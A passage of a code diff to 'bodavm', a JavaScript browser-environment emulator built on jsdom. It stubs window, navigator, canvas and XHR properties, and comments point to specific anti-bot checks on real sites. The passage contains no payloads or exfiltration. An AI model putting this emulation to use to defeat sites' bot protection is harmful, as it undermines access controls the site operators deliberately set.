bodaobj.window['Performance'] - console.log(`window_Performance `, `-> res -> ${arg}`); + console.log_copy(`window_Performance `, `-> res -> ${arg}`); return arg } @@ -1318,48 +1452,48 @@ let arg = bodavm.memory.globalobj['BarProp'] arg._boarg= bodaobj.window['BarProp'] - console.log(`window_BarProp `, `-> res -> ${arg}`); + console.log_copy(`window_BarProp `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_Location = function () { let arg = bodavm.memory.globalobj['Location'] arg._boarg= bodaobj.window['Location'] - console.log(`window_Location `, `-> res -> ${arg}`); + console.log_copy(`window_Location `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_Document = function () { let arg = bodavm.memory.globalobj['Document'] arg._boarg= bodaobj.window['Document'] - console.log(`window_Document `, `-> res -> ${arg}`); + console.log_copy(`window_Document `, `-> res -> ${arg}`); return arg } bodavm.envFunc.window_webkitStorageInfo_get = function () { let webkitStorageInfo_ = bodavm.memory.globalobj['webkitStorageInfo'] webkitStorageInfo_._boarg= bodaobj.window['webkitStorageInfo'] - console.log(`window_webkitStorageInfo_get `, `webkitStorageInfo->`, webkitStorageInfo_); + console.log_copy(`window_webkitStorageInfo_get `, `webkitStorageInfo->`, webkitStorageInfo_); return webkitStorageInfo_ } bodavm.envFunc.window_navigation_get = function () { let navigation_ = bodavm.memory.globalobj['navigation'] navigation_._boarg= bodaobj.window['navigation'] - console.log(`window_navigation_get `, `navigation->`, navigation_); + console.log_copy(`window_navigation_get `, `navigation->`, navigation_); return navigation_ } bodavm.envFunc.window_performance_get = function () { let perf = bodavm.memory.globalobj['performance'] perf._boarg= bodaobj.window['performance'] - console.log(`window_performance_get `, `performance->`, perf); + console.log_copy(`window_performance_get `, `performance->`, perf); // debugger return perf } bodavm.envFunc.window_navigator_get = function () { let navigator_ = bodavm.memory.globalobj.navigator - console.log(`window_navigator_get `, `navigator->`, navigator_); + console.log_copy(`window_navigator_get `, `navigator->`, navigator_); navigator_._boarg= bodaobj.window['navigator'] return navigator_ @@ -1368,13 +1502,13 @@ let customElements_ = bodavm.memory.globalobj.customElements customElements_._boarg= bodaobj.window['customElements'] - console.log(`window_customElements_get `, `customElements->`, customElements_); + console.log_copy(`window_customElements_get `, `customElements->`, customElements_); return customElements_ } bodavm.envFunc.window_screen_get = function () { let screen_ = bodavm.memory.globalobj.screen - console.log(`window_screen_get `, `screen->`, screen_); + console.log_copy(`window_screen_get `, `screen->`, screen_); screen_._boarg= bodaobj.window['screen'] return screen_ @@ -1383,14 +1517,14 @@ bodavm.envFunc.window_history_get = function () { let history_ = bodavm.memory.globalobj.history - console.log(`window_history_get `, `history->`, history_); + console.log_copy(`window_history_get `, `history->`, history_); history_._boarg= bodaobj.window['history'] return history_ } bodavm.envFunc.window_localStorage_get = function window_localStorage_get() { let localStorage_ = bodavm.memory.globalobj.localStorage - console.log(`window_localStorage_get `, `localStorage->`, localStorage_); + console.log_copy(`window_localStorage_get `, `localStorage->`, localStorage_); // debugger // localStorage_._boarg= bodaobj.window['localStorage'] @@ -1398,14 +1532,14 @@ } bodavm.envFunc.window_indexedDB_get = function window_indexedDB_get() { let indexedDB_ = bodavm.memory.globalobj.indexedDB - console.log(`window_indexedDB_get `, `indexedDB->`, indexedDB_); + console.log_copy(`window_indexedDB_get `, `indexedDB->`, indexedDB_); indexedDB_._boarg= bodaobj.window['indexedDB'] return indexedDB_ } bodavm.envFunc.window_sessionStorage_get = function window_sessionStorage_get() { let sessionStorage_ = bodavm.memory.globalobj.sessionStorage - console.log(`window_sessionStorage_get `, `sessionStorage->`, sessionStorage_); + console.log_copy(`window_sessionStorage_get `, `sessionStorage->`, sessionStorage_); // sessionStorage_._boarg= bodaobj.window['sessionStorage'] return sessionStorage_ @@ -1414,7 +1548,7 @@ let crypto_ = bodavm.memory.globalobj.crypto // crypto_._boarg= globalobj.window['crypto'] - console.log(`window_crypto_get `, `crypto->`, crypto_); + console.log_copy(`window_crypto_get `, `crypto->`, crypto_); return crypto_ } bodavm.envFunc.window_document_get = function window_document_get() { @@ -1422,15 +1556,15 @@ let document_ = bodavm.memory.globalobj.document document_._boarg= bodaobj.window['document'] - console.log(`window_document_get `, `document->`, document_); + console.log_copy(`window_document_get `, `document->`, document_); return document_ } bodavm.envFunc.window_location_get = function window_location_get() { - debugger + // debugger let location_ = bodavm.memory.globalobj.location location_._boarg= bodaobj.window['location'] - console.log(`window_location_get `, `location_->`, location_); + console.log_copy(`window_location_get `, `location_->`, location_); return location_ } bodavm.envFunc.window_clientInformation_get = function window_clientInformation_get() { @@ -1438,72 +1572,72 @@ let res = navigator res._boarg= bodaobj.window['navigator'] - console.log(`window_clientInformation_get `, `-> res- >${res}`); + console.log_copy(`window_clientInformation_get `, `-> res- >${res}`); return res } bodavm.envFunc.HTMLAllCollection_length_get = function () { debugger let length_ = bodavm.memory.all.length if (bodavm.memory.rs6 && bodavm.memory.rs6_body==0){ - console.log(`HTMLAllCollection_length_get `, `length_ ->${3}`); + console.log_copy(`HTMLAllCollection_length_get `, `length_ ->${3}`); return 3 } - console.log(`HTMLAllCollection_length_get `, `length_ ->${length_}`); + console.log_copy(`HTMLAllCollection_length_get `, `length_ ->${length_}`); return length_ } bodavm.envFunc.HTMLAnchorElement_hash_get = function HTMLAnchorElement_hash_get() { let hash = this._boarg.hash - console.log(`HTMLAnchorElement_hash_get `, `hash ->${hash}`); + console.log_copy(`HTMLAnchorElement_hash_get `, `hash ->${hash}`); return hash } bodavm.envFunc.HTMLAnchorElement_search_get = function HTMLAnchorElement_search_get() { let search = this._boarg.search - console.log(`HTMLAnchorElement_search_get `, `search ->${search}`); + console.log_copy(`HTMLAnchorElement_search_get `, `search ->${search}`); return search } bodavm.envFunc.HTMLAnchorElement_href_get = function HTMLAnchorElement_href_get() { let href = this._boarg.href - console.log(`HTMLAnchorElement_href_get `, `href ->${href}`); + console.log_copy(`HTMLAnchorElement_href_get `, `href ->${href}`); return href } bodavm.envFunc.HTMLAnchorElement_port_get = function HTMLAnchorElement_port_get() { let port = this._boarg.port - console.log(`HTMLAnchorElement_port_get `, `port ->${port}`); + console.log_copy(`HTMLAnchorElement_port_get `, `port ->${port}`); return port } bodavm.envFunc.HTMLAnchorElement_pathname_get = function HTMLAnchorElement_pathname_get() { let pathname = this._boarg.pathname - console.log(`HTMLAnchorElement_pathname_get `, `pathname ->${pathname}`); + console.log_copy(`HTMLAnchorElement_pathname_get `, `pathname ->${pathname}`); return pathname } bodavm.envFunc.HTMLAnchorElement_hostname_get = function HTMLAnchorElement_hostname_get() { let hostname = this._boarg.hostname - console.log(`HTMLAnchorElement_hostname_get `, `hostname ->${hostname}`); + console.log_copy(`HTMLAnchorElement_hostname_get `, `hostname ->${hostname}`); return hostname } bodavm.envFunc.HTMLAnchorElement_protocol_get = function HTMLAnchorElement_protocol_get() { let protocol = this._boarg.protocol - console.log(`HTMLAnchorElement_protocol_get `, `protocol ->${protocol}`); + console.log_copy(`HTMLAnchorElement_protocol_get `, `protocol ->${protocol}`); return protocol } bodavm.envFunc.HTMLAnchorElement_href_set = function HTMLAnchorElement_href_set() { let href = arguments[0] this._boarg.href = href - console.log(`HTMLAnchorElement_href_set `, `href ->${href}`); + console.log_copy(`HTMLAnchorElement_href_set `, `href ->${href}`); return href } bodavm.envFunc.HTMLInputElement_type_set = function HTMLInputElement_type_set() { let type = arguments[0] this._boarg.type = type - console.log(`HTMLInputElement_type_set `, `type->${type}`); + console.log_copy(`HTMLInputElement_type_set `, `type->${type}`); return type } @@ -1527,13 +1661,13 @@ // action=this._boarg.action // debugger - console.log(`HTMLFormElement_action_get `, `action ->${action}`, `r6检测点`); + console.log_copy(`HTMLFormElement_action_get `, `action ->${action}`, `r6检测点`); return action } bodavm.envFunc.HTMLInputElement_name_set = function HTMLInputElement_name_set() { let name = arguments[0] this._boarg.name = name - console.log(`HTMLInputElement_name_set `, `name ->${name}`); + console.log_copy(`HTMLInputElement_name_set `, `name ->${name}`); return name } bodavm.envFunc.HTMLFormElement_action_set = function HTMLFormElement_action_set() { @@ -1547,7 +1681,7 @@ } } // debugger - console.log(`HTMLFormElement_action_set `, `action ->${action}`); + console.log_copy(`HTMLFormElement_action_set `, `action ->${action}`); return action } bodavm.envFunc.Document_createExpression = function Document_createExpression() { @@ -1556,14 +1690,14 @@ res._boarg = bodaobj.document.createExpression(arguments[0], arguments[1]) res.__proto__ = bodavm.memory.globalobj['XPathExpression'].prototype - console.log(`Document_createExpression `, `-> res ->${res}`); + console.log_copy(`Document_createExpression `, `-> res ->${res}`); return res } bodavm.envFunc.BarProp_visible_get = function BarProp_visible_get() { // debugger let boolres = true - console.log(`BarProp_visible_get `, `boolres ->${boolres}`,`未完善`); + console.log_copy(`BarProp_visible_get `, `boolres ->${boolres}`,`未完善`); return boolres } bodavm.envFunc.HTMLMediaElement_canPlayType = function HTMLMediaElement_canPlayType() { @@ -1602,10 +1736,10 @@ break default: - console.log(`HTMLMediaElement_canPlayType `, `canplaytype->${canplaytype}未实现 `); + console.log_copy(`HTMLMediaElement_canPlayType `, `canplaytype->${canplaytype}未实现 `); } - console.log(`HTMLMediaElement_canPlayType `, `canplaytype ->${canplaytype}`, `-> res ->${res}`); + console.log_copy(`HTMLMediaElement_canPlayType `, `canplaytype ->${canplaytype}`, `-> res ->${res}`); return res } @@ -1618,7 +1752,7 @@ res._media = arg res.__proto__ = bodavm.memory.globalobj['MediaQueryList'].prototype res._boisinit=true - console.log(`window_matchMedia `, `arg ->${arg}`, `-> res ->${res}`); + console.log_copy(`window_matchMedia `, `arg ->${arg}`, `-> res ->${res}`); return res } @@ -1628,7 +1762,7 @@ if (arguments.length > 1) { return bodavm.toolsFunc.throwError('TypeError', 'XMLHttpRequestEventTarget_onabort_set') } let arg = arguments[0] this._boarg.onabort = arg - console.log(`XMLHttpRequestEventTarget_onabort_set `, `arg->${arg}`); + console.log_copy(`XMLHttpRequestEventTarget_onabort_set `, `arg->${arg}`); return arg } @@ -1638,28 +1772,28 @@ if (arguments.length > 1) { return bodavm.toolsFunc.throwError('TypeError', 'XMLHttpRequestEventTarget_onerror_set') } let arg = arguments[0] this._boarg.onerror = arg - console.log(`XMLHttpRequestEventTarget_onerror_set`, `arg->${arg}`); + console.log_copy(`XMLHttpRequestEventTarget_onerror_set`, `arg->${arg}`); return arg } bodavm.envFunc.XMLHttpRequestEventTarget_onload_set = function XMLHttpRequestEventTarget_onload_set() { if (arguments.length > 1) { return bodavm.toolsFunc.throwError('TypeError', 'XMLHttpRequestEventTarget_onload_set') } let arg = arguments[0] this._boarg.onload = arg - console.log(`XMLHttpRequestEventTarget_onload_set`, `arg->${arg}`); + console.log_copy(`XMLHttpRequestEventTarget_onload_set`, `arg->${arg}`); return arg } bodavm.envFunc.XMLHttpRequestEventTarget_onloadend_set = function XMLHttpRequestEventTarget_onloadend_set() { if (arguments.length > 1) { return bodavm.toolsFunc.throwError('TypeError', 'XMLHttpRequestEventTarget_onloadend_set') } let arg = arguments[0] this._boarg.onloadend = arg - console.log(`XMLHttpRequestEventTarget_onloadend_set`, `arg->${arg}`); + console.log_copy(`XMLHttpRequestEventTarget_onloadend_set`, `arg->${arg}`); return arg } bodavm.envFunc.XMLHttpRequestEventTarget_onloadstart_set = function XMLHttpRequestEventTarget_onloadstart_set() { if (arguments.length > 1) { return bodavm.toolsFunc.throwError('TypeError', 'XMLHttpRequestEventTarget_onloadstart_set') } let arg = arguments[0] this._boarg.onloadstart = arg - console.log(`XMLHttpRequestEventTarget_onloadstart_set`, `arg->${arg}`); + console.log_copy(`XMLHttpRequestEventTarget_onloadstart_set`, `arg->${arg}`); return arg } @@ -1667,7 +1801,7 @@ if (arguments.length > 1) { return bodavm.toolsFunc.throwError('TypeError', 'XMLHttpRequestEventTarget_onprogress_set') } let arg = arguments[0] this._boarg.onprogress = arg - console.log(`XMLHttpRequestEventTarget_onprogress_set`, `arg->${arg}`); + console.log_copy(`XMLHttpRequestEventTarget_onprogress_set`, `arg->${arg}`); return arg } @@ -1675,7 +1809,7 @@ if (arguments.length > 1) { return bodavm.toolsFunc.throwError('TypeError', 'XMLHttpRequestEventTarget_ontimeout_set') } let arg = arguments[0] this._boarg.ontimeout = arg - console.log(`XMLHttpRequestEventTarget_ontimeout_set`, `arg->${arg}`); + console.log_copy(`XMLHttpRequestEventTarget_ontimeout_set`, `arg->${arg}`); return arg } @@ -1683,51 +1817,51 @@ bodavm.envFunc.XMLHttpRequest_upload_get = function XMLHttpRequest_upload_get() { let upload = this._boarg.upload - console.log(`XMLHttpRequestEventTarget_upload_get `, `upload -> ${upload}`); + console.log_copy(`XMLHttpRequestEventTarget_upload_get `, `upload -> ${upload}`); return upload } bodavm.envFunc.XMLHttpRequestEventTarget_ontimeout_get = function XMLHttpRequestEventTarget_ontimeout_get() { let ontimeout = this._boarg.ontimeout - console.log(`XMLHttpRequestEventTarget_ontimeout_get `, `ontimeout -> ${ontimeout}`); + console.log_copy(`XMLHttpRequestEventTarget_ontimeout_get `, `ontimeout -> ${ontimeout}`); return ontimeout } bodavm.envFunc.XMLHttpRequestEventTarget_onprogress_get = function XMLHttpRequestEventTarget_onprogress_get() { let onprogress = this._boarg.onprogress - console.log(`XMLHttpRequestEventTarget_onprogress_get `, `onprogress -> ${onprogress}`); + console.log_copy(`XMLHttpRequestEventTarget_onprogress_get `, `onprogress -> ${onprogress}`); return onprogress } bodavm.envFunc.XMLHttpRequestEventTarget_onloadend_get = function XMLHttpRequestEventTarget_onloadend_get() { let onloadend = this._boarg.onloadend - console.log(`XMLHttpRequestEventTarget_onloadend_get `, `onloadend -> ${onloadend}`); + console.log_copy(`XMLHttpRequestEventTarget_onloadend_get `, `onloadend -> ${onloadend}`); return onloadend } bodavm.envFunc.XMLHttpRequestEventTarget_onloadstart_get = function XMLHttpRequestEventTarget_onloadstart_get() { // debugger let onloadstart = this._boarg.onloadstart - console.log(`XMLHttpRequestEventTarget_onloadstart_get `, `onloadstart -> ${onloadstart}`); + console.log_copy(`XMLHttpRequestEventTarget_onloadstart_get `, `onloadstart -> ${onloadstart}`); return onloadstart } bodavm.envFunc.XMLHttpRequestEventTarget_onerror_get = function XMLHttpRequestEventTarget_onerror_get() { let onerror = this._boarg.onerror - console.log(`XMLHttpRequestEventTarget_onerror_get `, `onerror -> ${onerror}`); + console.log_copy(`XMLHttpRequestEventTarget_onerror_get `, `onerror -> ${onerror}`); return onerror } bodavm.envFunc.XMLHttpRequestEventTarget_onload_get = function XMLHttpRequestEventTarget_onload_get() { let onload = this._boarg.onload - console.log(`XMLHttpRequestEventTarget_onload_get `, `onerror -> ${onload}`); + console.log_copy(`XMLHttpRequestEventTarget_onload_get `, `onerror -> ${onload}`); return onload } bodavm.envFunc.XMLHttpRequestEventTarget_onabort_get = function XMLHttpRequestEventTarget_onabort_get() { // debugger let onabort = this._boarg.onabort - console.log(`XMLHttpRequestEventTarget_onabort_get `, `onabort -> ${onabort}`); + console.log_copy(`XMLHttpRequestEventTarget_onabort_get `, `onabort -> ${onabort}`); return onabort } bodavm.envFunc.XMLHttpRequest_withCredentials_set = function XMLHttpRequest_withCredentials_set() { debugger let arg = arguments[0] this._boarg.withCredentials = arg - console.log(`XMLHttpRequest_withCredentials_set `, `arg -> ${arg}`); + console.log_copy(`XMLHttpRequest_withCredentials_set `, `arg -> ${arg}`); return arg } bodavm.envFunc.CanvasRenderingContext2D_shadowBlur_set = function CanvasRenderingContext2D_shadowBlur_set() { @@ -1735,7 +1869,7 @@ if (bodavm.config.isdebug) { debugger }; let shadowBlur = arguments[0] this._bocanvas.shadowBlur = shadowBlur - console.log(`CanvasRenderingContext2D_shadowBlur_set `, `shadowBlur ->${shadowBlur}`); + console.log_copy(`CanvasRenderingContext2D_shadowBlur_set `, `shadowBlur ->${shadowBlur}`); return shadowBlur } bodavm.envFunc.CanvasRenderingContext2D_arc = function CanvasRenderingContext2D_arc() { @@ -1747,20 +1881,20 @@ let arg4 = arguments[4] this._bocanvas.arc(arg, arg1, arg2, arg3, arg4) //无返回值 - console.log(`CanvasRenderingContext2D_arc `, `arg->${arg} arg1->${arg1} arg2->${arg2} arg2->${arg2} arg3->${arg3} arg4->${arg4}`); + console.log_copy(`CanvasRenderingContext2D_arc `, `arg->${arg} arg1->${arg1} arg2->${arg2} arg2->${arg2} arg3->${arg3} arg4->${arg4}`); } bodavm.envFunc.CanvasRenderingContext2D_stroke = function CanvasRenderingContext2D_stroke() { // debugger //无返回值 this._bocanvas.stroke() - console.log(`CanvasRenderingContext2D_stroke `); + console.log_copy(`CanvasRenderingContext2D_stroke `); } bodavm.envFunc.HTMLScriptElement_text_set = function HTMLScriptElement_text_set() { if (bodavm.config.isdebug) { debugger }; let arg = arguments[0] this._boarg.text = arg - console.log(`HTMLScriptElement_text_set `, `arg -> ${arg}`); + console.log_copy(`HTMLScriptElement_text_set `, `arg -> ${arg}`); return arg } @@ -1773,11 +1907,11 @@ let promise = new Promise((resolve, reject) => { resolve(res) }) - console.log(`Permissions_query `, `-> res ->${promise}`); + console.log_copy(`Permissions_query `, `-> res ->${promise}`); return promise } else { - console.log(`Permissions_query `, `${query} 未实现`); + console.log_copy(`Permissions_query `, `${query} 未实现`); } @@ -1787,7 +1921,7 @@ if (bodavm.config.isdebug) { debugger }; if (bodavm.memory.collection["IMG"]){ res=bodavm.memory.collection["IMG"] - console.log(`Document_images_get bodavm.memory.collection["IMG"]已存在,直接返回`); + console.log_copy(`Document_images_get bodavm.memory.collection["IMG"]已存在,直接返回`); return res } @@ -1795,7 +1929,7 @@ bodavm.memory.collection["IMG"]=[] } // else if (bodavm.memory.collection["IMG"]){ - // console.log(`Document_images_get `, `已存在bodavm.memory.collection中直接返回 imgs -> ${bodavm.memory.collection["IMG"]}`); + // console.log_copy(`Document_images_get `, `已存在bodavm.memory.collection中直接返回 imgs -> ${bodavm.memory.collection["IMG"]}`); // return bodavm.memory.collection["IMG"] // } // debugger @@ -1827,7 +1961,7 @@ if (target.__proto__ ==Array.prototype){ return true } - console.log(target,`正在删除属性`,propkey,`默认返回false`); + console.log_copy(target,`正在删除属性`,propkey,`默认返回false`); return false } }) @@ -1835,14 +1969,14 @@ bodavm.memory.collection["IMG"].__proto__ = bodavm.memory.globalobj['HTMLCollection'].prototype bodavm.memory.collection["IMG"]._boarg = taglist bodavm.memory.collection["IMG"].__proto__[Symbol.iterator] = Array.prototype[Symbol.iterator]; - console.log(`Document_images_get `, `imgs -> ${bodavm.memory.collection["IMG"]}`); + console.log_copy(`Document_images_get `, `imgs -> ${bodavm.memory.collection["IMG"]}`); return bodavm.memory.collection["IMG"] } bodavm.envFunc.Navigator_deviceMemory_get = function Navigator_deviceMemory_get() { let deviceMemory = bodavm.memory.navigator['deviceMemory'] if (bodavm.config.isdebug) { debugger }; - console.log(`Navigator_deviceMemory_get `, `deviceMemory ->${deviceMemory}`); + console.log_copy(`Navigator_deviceMemory_get `, `deviceMemory ->${deviceMemory}`); return deviceMemory } @@ -1851,7 +1985,7 @@ if (bodavm.config.isdebug) { debugger }; credentials.__proto__ = bodavm.memory.globalobj['CredentialsContainer'].prototype - console.log(`Navigator_credentials_get `, `credentials ->${credentials}`); + console.log_copy(`Navigator_credentials_get `, `credentials ->${credentials}`); return credentials } bodavm.envFunc.Navigator_storage_get = function Navigator_storage_get() { @@ -1860,14 +1994,14 @@ if (bodavm.config.isdebug) { debugger }; storage._boisinit=true storage.__proto__ = bodavm.memory.globalobj['StorageManager'].prototype - console.log(`Navigator_storage_get `, `storage ->${storage}`); + console.log_copy(`Navigator_storage_get `, `storage ->${storage}`); return storage } bodavm.envFunc.Navigator_maxTouchPoints_get = function Navigator_maxTouchPoints_get() { let maxTouchPoints = bodavm.memory.navigator['maxTouchPoints'] if (bodavm.config.isdebug) { debugger }; - console.log(`Navigator_maxTouchPoints_get `, `maxTouchPoints ->${maxTouchPoints}`); + console.log_copy(`Navigator_maxTouchPoints_get `, `maxTouchPoints ->${maxTouchPoints}`); return maxTouchPoints } bodavm.envFunc.Navigator_bluetooth_get = function Navigator_bluetooth_get() { @@ -1875,28 +2009,28 @@ bluetooth.__proto__ = bodavm.memory.globalobj['Bluetooth'].prototype if (bodavm.config.isdebug) { debugger }; - console.log(`Navigator_bluetooth_get `, `bluetooth ->${bluetooth}`); + console.log_copy(`Navigator_bluetooth_get `, `bluetooth ->${bluetooth}`); return bluetooth } bodavm.envFunc.Navigator_vendorSub_get = function Navigator_vendorSub_get() { let vendorSub = bodavm.memory.navigator['vendorSub'] if (bodavm.config.isdebug) { debugger }; - console.log(`Navigator_vendorSub_get `, `vendorSub ->${vendorSub}`); + console.log_copy(`Navigator_vendorSub_get `, `vendorSub ->${vendorSub}`); return vendorSub } bodavm.envFunc.Navigator_product_get = function Navigator_product_get() { let product = bodavm.memory.navigator['product'] if (bodavm.config.isdebug) { debugger }; - console.log(`Navigator_product_get `, `product ->${product}`); + console.log_copy(`Navigator_product_get `, `product ->${product}`); return product } bodavm.envFunc.Navigator_doNotTrack_get = function Navigator_doNotTrack_get() { let doNotTrack = null if (bodavm.config.isdebug) { debugger }; - console.log(`Navigator_doNotTrack_get `, `doNotTrack ->${doNotTrack}`); + console.log_copy(`Navigator_doNotTrack_get `, `doNotTrack ->${doNotTrack}`); return doNotTrack } bodavm.envFunc.RTCPeerConnection_createDataChannel = function RTCPeerConnection_createDataChannel() { @@ -1906,7 +2040,7 @@ if (label == 'label') { let DataChannel = {} DataChannel.__proto__ = bodavm.memory.globalobj['RTCDataChannel'].prototype - console.log(`RTCPeerConnection_createDataChannel `, `label->${label} `, `options->${options} `, `DataChannel->${DataChannel} `); + console.log_copy(`RTCPeerConnection_createDataChannel `, `label->${label} `, `options->${options} `, `DataChannel->${DataChannel} `); return DataChannel } @@ -1917,7 +2051,7 @@ let change = arguments[0] this._onicegatheringstatechange = change - console.log(`RTCPeerConnection_onicegatheringstatechange_set `, `onicegatheringstatechange ->${_onicegatheringstatechange}`); + console.log_copy(`RTCPeerConnection_onicegatheringstatechange_set `, `onicegatheringstatechange ->${_onicegatheringstatechange}`); return change } @@ -1938,41 +2072,41 @@ "stencil": false, "xrCompatible": false } - console.log(`WebGLRenderingContext_getContextAttributes `, `context->${JSON.stringify(context)}`); + console.log_copy(`WebGLRenderingContext_getContextAttributes `, `context->${JSON.stringify_bo(context)}`); return context } bodavm.envFunc.document_write = function document_write() { let html = arguments[0] bodaobj.document.write(html) - console.log(`document_write `, `html ->${html}`); + console.log_copy(`document_write `, `html ->${html}`); } bodavm.envFunc.window_frames_get = function window_frames_get() { - let iframe = bodaobj.window - console.log(`window_frames_get `, ` 返回的为jsdom中的window`,`需要关注具体方法`); + // let iframe = bodaobj.window + console.log_copy(`window_frames_get `, ` 返回window`); // iframe = bodavm.toolsFunc.proxy(iframe, 'iframewinodow') - - return iframe + // iframe._bocontentiframe=true + return window } bodavm.envFunc.window_closed_get = function window_closed_get() { let closed = bodavm.memory.window['closed']; - console.log(`window_closed_get `, ` window.closed->${closed}`); + console.log_copy(`window_closed_get `, ` window.closed->${closed}`); return closed } bodavm.envFunc.window_status_get = function window_status_get() { let status = bodavm.memory.window['status']; - console.log(`window_status_get `, ` 返回的为jsdom中的window.status->${status}`); + console.log_copy(`window_status_get `, ` 返回的为jsdom中的window.status->${status}`); return status } bodavm.envFunc.window_origin_get = function window_origin_get() { let origin = bodaobj.window.origin; - console.log(`window_origin_get `, ` 返回的为jsdom中的window.origin->${origin}`); + console.log_copy(`window_origin_get `, ` 返回的为jsdom中的window.origin->${origin}`); return origin } bodavm.envFunc.window_onmessage_get = function window_onmessage_get() { let onmessage = bodaobj.window.onmessage; - console.log(`window_onmessage_get `, ` 返回的为jsdom中的window.onmessage ->${onmessage}`); + console.log_copy(`window_onmessage_get `, ` 返回的为jsdom中的window.onmessage ->${onmessage}`); return onmessage } @@ -1980,25 +2114,25 @@ bodavm.envFunc.window_webkitRequestFileSystem = function window_webkitRequestFileSystem() { debugger let webkitRequestFileSystem = bodavm.memory.globalobj['webkitRequestFileSystem']; - console.log(`window.webkitRequestFileSystem `, ` window.webkitRequestFileSystem 无返回值->${webkitRequestFileSystem}`); + console.log_copy(`window.webkitRequestFileSystem `, ` window.webkitRequestFileSystem 无返回值->${webkitRequestFileSystem}`); // return webkitRequestFileSystem } bodavm.envFunc.window_onbeforeunload_get = function window_onbeforeunload_get() { let onbeforeunload = bodaobj.window.onbeforeunload; - console.log(`window_onbeforeunload_get `, ` 返回的为jsdom中的window.onbeforeunload ->${onbeforeunload}`); + console.log_copy(`window_onbeforeunload_get `, ` 返回的为jsdom中的window.onbeforeunload ->${onbeforeunload}`); return onbeforeunload } bodavm.envFunc.window_length_get = function window_length_get() { let _length = bodaobj.window.length; - console.log(`window_length_get `, ` length ->${_length} boss直聘检测`); + console.log_copy(`window_length_get `, ` length ->${_length} boss直聘检测`); return _length } bodavm.envFunc.window_onbeforeunload_set = function window_onbeforeunload_set() { let arg = arguments[0] bodavm.memory.window['onbeforeunload'] = arg - console.log(`window_onbeforeunload_set `, ` window.onbeforeunload ->${arg}`); + console.log_copy(`window_onbeforeunload_set `, ` window.onbeforeunload ->${arg}`); } bodavm.envFunc.window_openDatabase = function window_openDatabase() { let arg = arguments[0] @@ -2008,111 +2142,113 @@ // let openDatabase // debugger let database=bodavm.memory.globalobj['database'] - console.log(`window_openDatabase `, `->${arg}->${arg1}->${arg2}->${arg3} database`); + console.log_copy(`window_openDatabase `, `->${arg}->${arg1}->${arg2}->${arg3} database`); return database } bodavm.envFunc.window_defaultStatus_get = function window_defaultStatus_get() { let defaultStatus = bodavm.memory.window['defaultStatus'] - console.log(`window_defaultStatus_get `, `defaultStatus ->${defaultStatus}`); + console.log_copy(`window_defaultStatus_get `, `defaultStatus ->${defaultStatus}`); return defaultStatus } bodavm.envFunc.window_defaultstatus_get = function window_defaultstatus_get() { let defaultstatus = bodavm.memory.window['defaultstatus'] - console.log(`window_defaultstatus_get `, `defaultstatus ->${defaultstatus}`); + console.log_copy(`window_defaultstatus_get `, `defaultstatus ->${defaultstatus}`); return defaultstatus } bodavm.envFunc.window_innerWidth_get = function window_innerWidth_get() { let innerWidth = bodaobj.window['innerWidth'] - console.log(`window_innerWidth_get `, `innerWidth ->${innerWidth}`); + console.log_copy(`window_innerWidth_get `, `innerWidth ->${innerWidth}`); return innerWidth } bodavm.envFunc.window_devicePixelRatio_get = function window_devicePixelRatio_get() { let devicePixelRatio = bodavm.memory.window['devicePixelRatio'] - console.log(`window_innerWidth_get `, `devicePixelRatio ->${devicePixelRatio}`); + console.log_copy(`window_innerWidth_get `, `devicePixelRatio ->${devicePixelRatio}`); return devicePixelRatio } bodavm.envFunc.window_innerHeight_get = function window_innerHeight_get() { let innerHeight = bodaobj.window['innerHeight'] - console.log(`window_innerHeight_get `, `innerHeight ->${innerHeight}`); + console.log_copy(`window_innerHeight_get `, `innerHeight ->${innerHeight}`); return innerHeight } bodavm.envFunc.window_outerHeight_get = function window_outerHeight_get() { let outerHeight = bodaobj.window['outerHeight'] - console.log(`window_outerHeight_get `, `outerHeight ->${outerHeight}`); + console.log_copy(`window_outerHeight_get `, `outerHeight ->${outerHeight}`); return outerHeight } bodavm.envFunc.window_screenLeft_get = function window_screenLeft_get() { let screenLeft = bodaobj.window['screenLeft'] - console.log(`window_screenLeft_get `, `screenLeft ->${screenLeft}`); + console.log_copy(`window_screenLeft_get `, `screenLeft ->${screenLeft}`); return screenLeft } bodavm.envFunc.window_screenTop_get = function window_screenTop_get() { let screenTop = bodaobj.window['screenTop'] - console.log(`window_screenTop_get `, `screenTop ->${screenTop}`); + console.log_copy(`window_screenTop_get `, `screenTop ->${screenTop}`); return screenTop } bodavm.envFunc.window_outerWidth_get = function window_outerWidth_get() { let outerWidth = bodaobj.window['outerWidth'] - console.log(`window_outerWidth_get `, `outerWidth ->${outerWidth}`); + console.log_copy(`window_outerWidth_get `, `outerWidth ->${outerWidth}`); return outerWidth } bodavm.envFunc.window_screenY_get = function window_screenY_get() { let screenY = bodaobj.window['screenY'] - console.log(`window_screenY_get `, `screenY ->${screenY}`); + console.log_copy(`window_screenY_get `, `screenY ->${screenY}`); return screenY } bodavm.envFunc.window_screenX_get = function window_screenX_get() { let screenX = bodaobj.window['screenX'] - console.log(`window_screenX_get `, `screenX ->${screenX}`); + console.log_copy(`window_screenX_get `, `screenX ->${screenX}`); return screenX } bodavm.envFunc.window_pageYOffset_get = function window_pageYOffset_get() { let pageYOffset = bodaobj.window.pageYOffset - console.log(`window_pageYOffset_get `, `pageYOffset ->${pageYOffset}`); + console.log_copy(`window_pageYOffset_get `, `pageYOffset ->${pageYOffset}`); return pageYOffset } bodavm.envFunc.window_pageXOffset_get = function window_pageXOffset_get() { let pageXOffset = bodaobj.window.pageXOffset - console.log(`window_pageXOffset_get `, `scrollX ->${pageXOffset}`); + console.log_copy(`window_pageXOffset_get `, `scrollX ->${pageXOffset}`); return pageXOffset } bodavm.envFunc.window_scrollX_get = function window_scrollX_get() { let scrollX = bodaobj.window.scrollX - console.log(`window_scrollX_get `, `scrollX ->${scrollX}`); + console.log_copy(`window_scrollX_get `, `scrollX ->${scrollX}`); return scrollX } bodavm.envFunc.window_scrollY_get = function window_scrollY_get() { let scrollY = bodaobj.window.scrollY - console.log(`window_scrollY_get `, `scrollY ->${scrollY}`); + console.log_copy(`window_scrollY_get `, `scrollY ->${scrollY}`); return scrollY } bodavm.envFunc.window_self_get = function () { - console.log(`window_self_get `, `window `); + // debugger; + // if (this._bocontentiframe){debugger} + console.log_copy(`window_self_get `, `window `); if (bodavm.config.isdebug) { debugger };; return window } bodavm.envFunc.window_parent_get = function window_parent_get() { - console.log(`window_parent_get `, `window`); + console.log_copy(`window_parent_get `, `window`); return 